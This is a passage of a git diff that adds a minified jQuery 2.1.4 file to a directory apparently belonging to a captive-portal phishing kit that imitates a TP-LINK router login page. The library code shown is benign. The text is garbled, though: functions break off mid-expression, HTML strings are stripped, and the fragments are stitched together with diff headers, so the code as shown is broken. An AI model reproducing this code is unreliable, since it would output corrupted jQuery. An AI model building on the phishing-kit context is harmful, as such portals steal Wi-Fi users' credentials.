RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("
\ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/TP-LINK_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..87dc897 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1 @@ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return 